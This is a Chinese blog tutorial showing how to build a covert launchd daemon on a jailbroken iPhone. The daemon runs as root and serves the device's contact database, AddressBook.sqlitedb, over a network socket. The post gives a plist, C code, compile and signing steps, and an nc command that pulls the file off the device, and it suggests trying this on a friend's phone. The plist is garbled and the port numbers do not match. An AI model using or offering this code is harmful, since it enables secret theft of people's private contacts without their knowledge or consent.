iOS 安全攻防系列(一):获取手机联系人

上一篇我们编了一个HelloWorld程序,并且手动运行成功

但是我们写个程序不可能就去别人手机上打印一个HelloWorld吧。这篇就来介绍如何获取手机联系人。

要获取用户的手机联系人,总不能大摇大摆的在用户手机上运行一个app吧,那要如何在用户不知不觉的情况下获取到用户的手机联系人呢。这就需要用到守护进程。

守护进程是指在后台运行的程序,不直接由用户控制。对于攻击者来说将代码守护花的好处非常多。运行在后台的恶意代码可以偷偷的窃取数据,而不会被用户发觉。也可以连接到一台控制服务器等待指令。这种恶意代码感染方法的好处是。不需要用户启动一个应用软件或者执行其他任何任务就可以气动攻击。这不正是我们需要的么。

要在iOS的后台启动一个进程,那就要了解iOS的进程管理。

所有的iOS设备都通过Launchd 来启动或者停止服务。进程的管理方法取决于一个Launchd 的清单文件,后者定义了进程启动和停止的条件和方法。

# ls /System/Library/LaunchDaemons/

bootps.plist                          com.apple.mDNSResponder.plist

com.apple.CrashHousekeeping.plist     com.apple.mobile.softwareupdated.plist__

com.apple.MobileFileIntegrity.plist   com.apple.softwareupdateservicesd.plist__

com.apple.jetsamproperties.N94.plist 


然后我们自己来为自己的程序写一个清单文件





ProgramArguments

/usr/bin/helloworld

Program
/usr/bin/helloworld
Label
com.yourdomain.helloworld
SessionCreate

Sockets

Listeners

SocketServiceName
77


StandardErrorPath
/dev/null
inetdCompatibility

Wait





以上定义了HelloWorld 程序的Launchd 的清单文件。

然后将这个文件拷贝 到 /System/Library/LaunchDaemons/   目录下

# launchctl load /Library/LaunchDaemons/com.yourdomain.helloworld.plist 

/Library/LaunchDaemons/com.yourdomain.helloworld.plist: Operation already in progress

使用这个命令来启动它。 

$telnet 192.168.2.15 77 可以看看会有什么情况

当一个用户从端口7 连接的时候,清单文件的内容会作为root 用户来运行这个helloworld 程序 ,并将其输入输出重定向到连接的socket上,而不是标准输入输出。不过简单的打印一行helloworld 也太无聊了,哪有人把iOS设备黑掉就是为了说一句HelloWorld呢。你可以在你的朋友手机上试试。攻击者可不这么无聊。来看点实际用处。获取联系人。

#include

#include

#include

#include

#define FILE "/var/mobile/Library/AddressBook/AddressBook.sqlitedb"

int main(){

    int fd = open(FILE, O_RDONLY);

    char buff[128];

    size_t nr;

    if (fd < 0) {

        exit(-1);

    }

    while ((nr = read(fd,buff,sizeof(buff))) > 0) {

        write(fileno(stdout),buff,nr);

    }

}


编译

$clang -arch armv7 -isysroot `xcrun --sdk iphoneos --show-sdk-path` -o helloworld helloworld.c


把二级制文件拷贝到/usr/bin/helloworld 中

签名

#ldid -S helloworld


$nc 192.168.2.15 8024 > AddressBook.sqlitedb

好了,拿个工具打开AddressBook.sqlitedb看看吧



本文来自互联网用户投稿,文章观点仅代表作者本人,不代表本站立场,不承担相关法律责任。如若转载,请注明出处。 如若内容造成侵权/违法违规/事实不符,请点击【内容举报】进行投诉反馈!

相关文章

立即
投稿

微信公众账号

微信扫一扫加关注

返回
顶部